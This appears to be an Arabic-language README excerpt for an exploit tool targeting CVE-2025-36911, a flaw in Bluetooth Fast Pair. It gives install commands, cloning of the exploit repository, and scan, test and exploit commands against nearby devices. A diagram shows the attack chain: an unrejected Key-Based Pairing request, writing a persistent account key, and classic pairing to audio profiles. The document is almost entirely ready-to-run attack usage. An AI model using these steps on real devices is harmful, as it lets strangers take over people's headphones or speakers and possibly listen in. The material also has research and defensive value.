# التثبيت
pip install bleak cryptography
git clone https://github.com/Penthertz/CVE-2025-36911-exploit.git
cd CVE-2025-36911-exploit

# فحص الأهداف
python3 whisperpair-cli.py scan

# اختبار قابلية الاستغلال
python3 whisperpair-cli.py test AA:BB:CC:DD:EE:FF

# الاستغلال
python3 whisperpair-cli.py exploit --quick

┌─────────────────────────────────────────────────────────────┐
│  المهاجم                             الجهاز القابل للاستغلال │
│                                                             │
│  1. فحص BLE ─────────────────────► إعلان Fast Pair          │
│     (العثور على الهدف)               (معرّف الطراز ظاهر)     │
│                                                             │
│  2. الاتصال ──────────────────────► اتصال GATT              │
│                                                             │
│  3. طلب KBP ──────────────────────► خاصية Key-Based Pairing │
│     (يجب أن يتم رفضه                 ✗ لم يتم الرفض!        │
│      عند عدم وجود وضع اقتران)        (CVE-2025-36911)       │
│                                                             │
│  4. تحليل الاستجابة ◄────────────── عنوان BR/EDR            │
│                                                             │
│  5. كتابة مفتاح الحساب ────────────► خاصية Account Key      │
│     (وصول دائم)                      ✓ تم القبول            │
│                                                             │
│  6. اقتران BT الكلاسيكي ─────────────► ملفات الصوت (A2DP)   │
│     (انتهت اللعبة)                                          │
└─────────────────────────────────────────────────────────────┘